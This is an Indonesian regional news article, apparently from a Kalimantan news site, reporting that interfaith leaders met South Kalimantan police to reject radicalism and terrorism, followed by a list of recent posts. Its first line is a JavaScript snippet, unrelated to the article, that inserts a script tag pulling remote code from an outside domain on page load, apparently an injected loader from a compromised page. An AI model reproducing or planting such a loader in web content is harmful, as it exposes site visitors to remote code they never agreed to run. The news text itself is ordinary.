(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Tokoh Lintas Agama Sepakat Jaga Ketentraman di Kalsel


BANJARMASIN, Antisipasi aksi terorisme yang marak terjadi belakangan ini, puluhan tokoh lintas agama berkumpul di Mapolda Kalsel. Mereka menegaskan komitmen untuk menjaga kondisi Kalsel tetap aman dan kondusif, serta sepakat menolak setiap paham radikalisme!

Kapolda Kalsel Brigjen Pol Rachmat Mulyana selaku inisiator pertemuan tersebut mengatakan, tokoh agama dan tokoh masyarakat merupakan penyangga kerukunan masyarakat. Maka dia mengimbau untuk terus memantapkan toleransi dan kerukunan umat beragama guna menghindari aksi terorisme di Kalsel.

Kapolda bersyukur, Forum Kerukunan Umat Beragama (FKUB) tidak terpengaruh atas situasi dan suasana yang ada di luar Kalimantan Selatan. “Saya yakin keberadaan FKUB dapat menciptakan situasi dan kondisi yang kondusif di Kalsel,” kata Kapolda dalam pertemuan tersebut.

Dia  optimis situasi Kalsel aman dan kondusif, apalagi ada beberapa kegiatan penting dilakukan di Kalsel, seperti ijtima para ulama yang dihadiri 700-an ulama Tanah Air. Polda Kalsel juga menggelar sholawat yang dihadiri ribuan jemaah.

“Kami ajak seluruh masyarakat untuk membuang jauh-jauh bahwa teroris itu identik Agama Islam, karena teroris adalah salah satu faham yang bertentangan dengan Islam,” kata dia.

Komitmen FKUB sangat membantu tugas Polri dalam mencegah aksi terorisme masuk ke Kalsel. Menurut dia, tanpa dukungan semua elemen masyarakat, Polri tak kuasa meredam aksi intoleransi. Kegiatan dihadiri oleh Ketua FKUB Kalsel Mihran AM, Ketua PWNU Kalsel Abdul Haris Makkie, Ketua PW Muhammadiyah Kalsel Tajuddin Noor, Sekjen MUI Kalsel Fadly Mansoer, dan pengurus FKUB Kalsel yang berjumlah sekitar 85 orang.

Di tempat terpisah, Kepala Polres Hulu Sungai Selatan Ajun Komisaris Besar, Rahmat Budi Handoko, mengatakan jajaran Polres HSS turut melibatkan tokoh agama dan tokoh masyarakat dalam mencegah paham radikal dan aksi teror di masyarakat. Menurut dia, jajaran Polres HSS tetap waspada atas ancaman teror, namun tidak menonjolkan aksi berlebihan yang justru membuat kalut masyarakat.

Pihaknya siap ikrar damai bersama masyarakat sipil menolak terorisme dan menjaga toleransi beragama di Kabupaten HSS. “Kami enggak ingin membuat masyarakat tambah takut. Kalau polisi yang punya senjata saja ketakutan, apalagi masyarakat sipil. Kami tetap waspada, tapi enggak perlu berlebihan,” katanya. (ammar)

Reporter:Ammar
Editor: Cell

Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Lepas Keberangkatan 320 Calon Haji, Ini Pesan Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Bagian dalam dan luar halaman Mahligai Sultan Adam di Jalan A Yani… Read More

34 menit ago

Hari Ini Masuk Asrama Haji, Kloter 1 Embarkasi Banjarmasin Berangkat Minggu

KANALKALIMANTAN.COM, BANJARBARU - Jelang kedatangan rombongan jemaah Haji Embarkasi Banjarmasin Kloter 1, Sabtu (11/5/2024), Petugas… Read More

42 menit ago

Paman Birin Trophy VII 2024 Digelar 15 Hari di Murdjani

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan H Sahbirin Noor membuka secara resmi Paman Birin Trophy… Read More

2 jam ago

Karst Sangkulirang-Mangkalihat dan Delta Mahakam, Bentang Alam yang Terancam Eksploitasi

KANALKALIMANTAN.COM, SAMARINDA - Akademisi Teknik Geologi Universitas Muhammadiyah Kalimantan Timur (UMKT) Syamsidar Sutan Malim Polawan… Read More

3 jam ago

Kunker DPRD Kapuas Perkaya Referensi Raperda Bangunan Gedung

KANALKALIMANTAN.COM, KUALA KAPUAS – Panitia Khusus (Pansus) I Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas… Read More

16 jam ago

Haul Dua Wali Allah di Cempaka yang Sangat Dermawan dan Hidup Sederhana

KANALKALIMANTAN.COM, BANJARBARU - Haul Syarifah Badrun Al Qadiri Al Hasani bin Sayyid Yusuf Al-Qadiri Al-Hasani… Read More

18 jam ago

This website uses cookies.